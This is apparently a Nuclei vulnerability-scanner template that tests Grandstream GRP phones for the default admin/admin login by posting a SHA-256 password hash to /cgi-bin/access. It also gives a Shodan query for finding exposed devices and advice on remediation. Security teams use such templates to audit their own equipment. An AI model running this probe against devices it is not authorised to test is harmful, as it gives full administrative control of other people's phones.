Grandstream GRP series devices use default credentials (admin/admin). The web UI login sends a SHA-256 hash of the password to /cgi-bin/access. Successful authentication returns a JSON response with a session token, indicating full admin access to the device management interface.
PoC
id: grandstream-grp-default-login
info:
name: Grandstream GRP - Default Login
author: DhiyaneshDK
severity: high
description: |
Grandstream GRP series devices use default credentials (admin/admin). The web UI login sends a SHA-256 hash of the password to /cgi-bin/access. Successful authentication returns a JSON response with a session token, indicating full admin access to the device management interface.
remediation: |
Change the default administrator password immediately. Update firmware to the latest version which generates random passwords on factory reset.
metadata:
verified: true
max-request: 1
vendor: grandstream
shodan-query: tl.account.ucm.js
tags: default-login,grandstream,grp,iot,vuln
http:
- raw:
- |
POST /cgi-bin/access HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Origin: {{RootURL}}
Referer: {{RootURL}}
access={{sha256("admin")}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"response":"success"'
- '"body":'
condition: and
- type: status
status:
- 200
# digest: 490a0046304402203648e803bc2f1e65b0498364439e4e51094c2a09378c3078782e56f10e2159d002202dd2cf94f3372e4067165ff062a42548b7acc7fc6c41663477b2af9a9f97de73:922c64590222798bb761d5b6d8e72950
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